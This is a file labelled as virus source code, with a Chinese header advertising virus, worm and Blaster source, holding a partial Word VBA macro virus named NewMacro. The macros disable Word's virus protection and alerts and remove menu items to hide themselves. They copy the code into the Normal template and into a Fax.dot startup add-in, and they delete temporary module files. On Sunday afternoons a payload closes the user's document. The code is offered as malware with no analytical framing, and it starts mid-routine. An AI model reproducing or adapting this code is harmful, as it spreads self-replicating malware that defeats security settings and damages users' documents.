newmacro 病毒源代码.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

Doc.VBProject.VBComponents(I).CodeModule.DeleteLines 1, a 
Next I 
If Flag = 1 Or ActiveDocument = NormalTemplate Then GoTo Done 
Flag = 1 
Set Doc = ActiveDocument 
GoTo Again 
Done: 
Flag = 0 
NormalTemplate.Saved = True 
ActiveDocument.Saved = True 
ActiveDocument.Saved = True 
Application.Dialogs(wdDialogToolsMacro).Show 
Set Doc = NormalTemplate 
Again1: 
For I = 1 To Doc.VBProject.VBComponents.Count 
If Doc <> NormalTemplate Then GoTo Over2 
If Doc.VBProject.VBComponents(I).Name = "Macro_Run" Then 
'Temporary line. Do NOT remove! 
End If 
Over2: 
If Doc.VBProject.VBComponents(I).Name = "NewMacro" Then 
'Temporary line. Do NOT remove! 
End If 
Next I 
If Flag = 1 Or ActiveDocument = NormalTemplate Then GoTo Done1 
Flag = 1 
Set Doc = ActiveDocument 
GoTo Again1 
Done1: 
Flag = 0 
Kill Pad + ("\Module1.bas") 
Kill Pad + ("\Module2.bas") 
Dname = ActiveDocument.FullName 
If Left$(Dname, 8) = "Document" Then GoTo Done2 
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument 
Done2: 
Application.EnableCancelKey = wdCancelInterrupt 
End Sub 
Public Sub AutoExec() 
On Error Resume Next 
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete 
CommandBars("Format").Controls("Style...").Delete 
Application.DisplayAlerts = wdAlertsNone 
Application.ScreenUpdating = False 
Options.VirusProtection = False 
Options.SaveNormalPrompt = False 
Options.ConfirmConversions = False 
For I = 1 To NormalTemplate.VBProject.VBComponents.Count 
If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True 
If NormalTemplate.VBProject.VBComponents(I).Name = "Macro_Run" Then GoTo Out 
Next I 
If NormInstall = False Then 
Pad = Options.DefaultFilePath(wdDocumentsPath) 
NormalTemplate.VBProject.VBComponents.Import Pad + "\Macro_Run.txt" 
End If 
Out: 
AddIns("Fax.dot").Delete 
StartupPad = Options.DefaultFilePath(wdUserOptionsPath) 
Options.DefaultFilePath(wdUserOptionsPath) = "" 
Options.DefaultFilePath(wdStartupPath) = StartupPad 
End Sub 
Sub ViewVBCode() 
Application.EnableCancelKey = wdCancelDisabled 
Assistant.Visible = True 
Assistant.Help 
Application.EnableCancelKey = wdCancelInterrupt 
End Sub 
Sub AutoExit() 
On Error Resume Next 
Pad = Options.DefaultFilePath(wdDocumentsPath) 
Application.NormalTemplate.VBProject.VBComponents.Remove Application.NormalTemplate.VBProject.VBComponents("Macro_Run") 
Call Setpath 
NormalTemplate.Save 
End Sub 
Sub Routine() 
On Error Resume Next 
MyTime = Time 
If WeekDay(Now) = 1 And Left$(MyTime, 1) = "5" And Right$(MyTime, 2) = "PM" Then 
With Assistant.NewBalloon 
.Icon = msoIconMsAlert 
.Text = "Doesn't work on Sunday Afternoon. Try again Monday." 
.Heading = "NewMacro message:" & Chr$(13) & "Document not available." 
.Animation = msoAnimationWorkingAtSomething 
Assistant.Visible = True 
.Show 
End With 
Assistant.Visible = False 
ActiveDocument.Close 
End If 
End Sub 
Sub Create_Loader() 
On Error Resume Next 
Pad1 = Options.DefaultFilePath(wdStartupPath) 
MyFile = Dir(Pad1 + "\Fax.dot") 
If MyFile = "" Then 
Set aDoc = NormalTemplate.OpenAsDocument 
With aDoc 
.SaveAs FileName:=Pad1 + "\Fax.dot" 
.Close SaveChanges:=wdDoNotSaveChanges 
End With 
End If 
End Sub 
Sub Setpath() 
TempFilePad = Options.DefaultFilePath(wdTempFilePath) 
StartupPad = Options.DefaultFilePath(wdStartupPath) 
Options.DefaultFilePath(wdUserOptionsPath) = StartupPad 
Options.DefaultFilePath(wdStartupPath) = TempFilePad 
End Sub 
Sub Restorepath() 
StartupPad = Options.DefaultFilePath(wdUserOptionsPath) 
Options.DefaultFilePath(wdUserOptionsPath) = "" 
Options.DefaultFilePath(wdStartupPath) = StartupPad 
End Sub